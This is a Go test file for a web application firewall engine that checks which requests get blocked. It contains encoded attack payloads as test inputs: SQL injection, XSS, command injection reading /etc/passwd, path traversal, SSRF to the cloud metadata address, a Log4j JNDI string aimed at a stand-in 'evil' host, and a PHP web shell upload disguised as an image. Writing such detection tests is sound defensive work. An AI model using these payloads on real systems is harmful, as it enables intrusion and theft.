仰望星辰工作室

miaopanel

miaopanel/ internal/wafengine/engine_test.go 6.7 KB · 257 行 原始文件
1package wafengine
2
3import (
4 "bytes"
5 "mime/multipart"
6 "net/textproto"
7 "strings"
8 "testing"
9)
10
11func inspect(query string) Result {
12 return Inspect(&Request{
13 Method: "GET",
14 Path: "/",
15 RawQuery: query,
16 Header: map[string][]string{"User-Agent": {"Mozilla/5.0"}},
17 }, Config{})
18}
19
20func TestSQLInjection(t *testing.T) {
21 payloads := []string{
22 "id=1%27+OR+%271%27%3D%271",
23 "id=1+UNION+SELECT+1,2,3",
24 "id=1%3B+DROP+TABLE+users",
25 "id=1+AND+SLEEP(5)",
26 "q=1%27%2F**%2FOR%2F**%2F%271%27%3D%271",
27 "q=1+AND+1%3D1",
28 "q=1%27--",
29 "q=information_schema.tables",
30 "q=1%3B+EXEC+xp_cmdshell",
31 }
32 for _, p := range payloads {
33 res := inspect(p)
34 if !res.Blocked {
35 t.Errorf("payload not blocked: %s (score %d, hits %+v)", p, res.Score, res.Hits)
36 }
37 if len(res.Hits) == 0 || res.Hits[0].Module != "sqli" {
38 t.Errorf("no sqli hit for %s: %+v", p, res.Hits)
39 }
40 }
41}
42
43func TestXSS(t *testing.T) {
44 payloads := []string{
45 "q=%3Cscript%3Ealert(1)%3C%2Fscript%3E",
46 "q=%3Cimg+src%3Dx+onerror%3Dalert(1)%3E",
47 "q=javascript%3Aalert(1)",
48 "q=%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B",
49 "q=%253Cscript%253Ealert(1)%253C%252Fscript%253E",
50 "q=%25253Cscript%25253Ealert(1)%25253C%25252Fscript%25253E",
51 "q=%3Csvg+onload%3Dalert(1)%3E",
52 "q=%3Ciframe+src%3Djavascript%3Aalert(1)%3E",
53 }
54 for _, p := range payloads {
55 res := inspect(p)
56 if !res.Blocked {
57 t.Errorf("xss not blocked: %s (score %d, %+v)", p, res.Score, res.Hits)
58 }
59 }
60}
61
62func TestRCEAndLFIAndSSTI(t *testing.T) {
63 cases := map[string]string{
64 "rce": "cmd=%3Bcat+%2Fetc%2Fpasswd",
65 "lfi": "file=..%2F..%2F..%2Fetc%2Fpasswd",
66 "ssti": "name=%7B%7B7*7%7D%7D",
67 }
68 for module, p := range cases {
69 res := inspect(p)
70 if !res.Blocked {
71 t.Errorf("%s not blocked: %s (score %d, %+v)", module, p, res.Score, res.Hits)
72 }
73 found := false
74 for _, h := range res.Hits {
75 if h.Module == module {
76 found = true
77 }
78 }
79 if !found {
80 t.Errorf("%s module missing: %+v", module, res.Hits)
81 }
82 }
83}
84
85func TestSSRFInQuery(t *testing.T) {
86 res := inspect("url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data")
87 if !res.Blocked {
88 t.Fatalf("ssrf not blocked: %+v", res.Hits)
89 }
90 found := false
91 for _, h := range res.Hits {
92 if h.Module == "ssrf" {
93 found = true
94 }
95 }
96 if !found {
97 t.Fatalf("ssrf module missing: %+v", res.Hits)
98 }
99}
100
101func TestLog4jAndJava(t *testing.T) {
102 for _, p := range []string{
103 "q=%24%7Bjndi%3Aldap%3A%2F%2Fevil%2Fa%7D",
104 "q=java.lang.Runtime.getRuntime().exec",
105 } {
106 if res := inspect(p); !res.Blocked {
107 t.Errorf("not blocked: %s %+v", p, res.Hits)
108 }
109 }
110}
111
112func TestBenignTrafficIsNotBlocked(t *testing.T) {
113 benign := []string{
114 "q=hello+world",
115 "q=%E4%BD%A0%E5%A5%BD%E4%B8%96%E7%95%8C",
116 "id=123",
117 "email=user%40example.com",
118 "q=select",
119 "q=order+by+name",
120 "path=%2Fsite%2Findex.html",
121 "price=1%2B1",
122 "q=%7B%22name%22%3A%22union%22%7D",
123 "page=2&size=20",
124 "q=%7B%7B%20user.name%20%7D%7D",
125 }
126 for _, p := range benign {
127 res := inspect(p)
128 if res.Blocked {
129 t.Errorf("false positive: %s score=%d hits=%+v", p, res.Score, res.Hits)
130 }
131 }
132}
133
134func TestStrictModeBlocksLowScores(t *testing.T) {
135 req := &Request{Path: "/", RawQuery: "q=onerror%3Dalert(1)"}
136 normal := Inspect(req, Config{})
137 if normal.Blocked {
138 t.Fatalf("normal mode should only log: %+v", normal.Hits)
139 }
140 strict := Inspect(req, Config{Strict: true})
141 if !strict.Blocked {
142 t.Fatalf("strict mode should block: %+v", strict.Hits)
143 }
144}
145
146func TestWhitelistBypass(t *testing.T) {
147 req := &Request{Path: "/", RawQuery: "id=1+UNION+SELECT+1", RemoteIP: "10.1.2.3"}
148 res := Inspect(req, Config{Whitelist: []string{"10.0.0.0/8"}})
149 if res.Blocked || len(res.Hits) != 0 {
150 t.Fatalf("whitelisted request inspected: %+v", res)
151 }
152}
153
154func TestJSONUnicodeAndBody(t *testing.T) {
155 req := &Request{
156 Method: "POST",
157 Path: "/api",
158 ContentType: "application/json",
159 Header: map[string][]string{"User-Agent": {"curl/8"}},
160 Body: []byte(`{"comment":"\u003cscript\u003ealert(1)\u003c/script\u003e"}`),
161 }
162 res := Inspect(req, Config{})
163 if !res.Blocked {
164 t.Fatalf("json unicode payload not blocked: %+v", res)
165 }
166}
167
168func TestJSONEscapedQuotes(t *testing.T) {
169 req := &Request{
170 Method: "POST",
171 Path: "/api",
172 ContentType: "application/json",
173 Header: map[string][]string{"User-Agent": {"curl/8"}},
174 Body: []byte(`{"q":"1\" OR \"1\"=\"1"}`),
175 }
176 res := Inspect(req, Config{})
177 if !res.Blocked {
178 t.Fatalf("escaped json sqli not blocked: %+v", res)
179 }
180}
181
182func TestMultipartUpload(t *testing.T) {
183 var buf bytes.Buffer
184 w := multipart.NewWriter(&buf)
185 _ = w.WriteField("title", "hello")
186 h := make(textproto.MIMEHeader)
187 h.Set("Content-Disposition", `form-data; name="file"; filename="shell.php.jpg"`)
188 h.Set("Content-Type", "image/jpeg")
189 part, _ := w.CreatePart(h)
190 _, _ = part.Write([]byte("<?php system($_GET['c']); ?>"))
191 _ = w.Close()
192
193 req := &Request{
194 Method: "POST",
195 Path: "/upload",
196 ContentType: w.FormDataContentType(),
197 Header: map[string][]string{"User-Agent": {"Mozilla/5.0"}},
198 Body: buf.Bytes(),
199 }
200 res := Inspect(req, Config{})
201 if !res.Blocked {
202 t.Fatalf("upload not blocked: %+v", res)
203 }
204}
205
206func TestBenignUploadWithCodeSamples(t *testing.T) {
207 var buf bytes.Buffer
208 w := multipart.NewWriter(&buf)
209 h := make(textproto.MIMEHeader)
210 h.Set("Content-Disposition", `form-data; name="file"; filename="README.md"`)
211 h.Set("Content-Type", "text/markdown")
212 part, _ := w.CreatePart(h)
213 _, _ = part.Write([]byte("Run `cat /etc/passwd` to see the file.\n<script> is discussed in the docs.\n"))
214 _ = w.Close()
215
216 req := &Request{
217 Method: "POST", Path: "/upload",
218 ContentType: w.FormDataContentType(),
219 Header: map[string][]string{"User-Agent": {"Mozilla/5.0"}},
220 Body: buf.Bytes(),
221 }
222 res := Inspect(req, Config{})
223 if res.Blocked {
224 t.Fatalf("benign source upload blocked: %+v", res.Hits)
225 }
226}
227
228func TestCustomRule(t *testing.T) {
229 req := &Request{Path: "/secret/admin", Header: map[string][]string{"User-Agent": {"curl"}}}
230 res := Inspect(req, Config{Custom: []CustomRule{{
231 Name: "block admin", MatchOn: "uri", Op: "contains", Pattern: "/admin", Enabled: true,
232 }}})
233 if !res.Blocked {
234 t.Fatalf("custom rule not applied: %+v", res.Hits)
235 }
236}
237
238func TestScannerUA(t *testing.T) {
239 req := &Request{Path: "/", Header: map[string][]string{"User-Agent": {"sqlmap/1.7"}}}
240 res := Inspect(req, Config{})
241 if !res.Blocked || res.Hits[0].Module != "scanner" {
242 t.Fatalf("sqlmap UA not blocked: %+v", res)
243 }
244}
245
246func TestEvidenceIsBounded(t *testing.T) {
247 long := "q=" + strings.Repeat("a", 5000) + "<script>alert(1)</script>"
248 res := inspect(long)
249 if !res.Blocked {
250 t.Fatal("payload after long prefix not blocked")
251 }
252 for _, h := range res.Hits {
253 if len(h.Evidence) > 180 {
254 t.Fatalf("evidence not truncated: %d", len(h.Evidence))
255 }
256 }
257}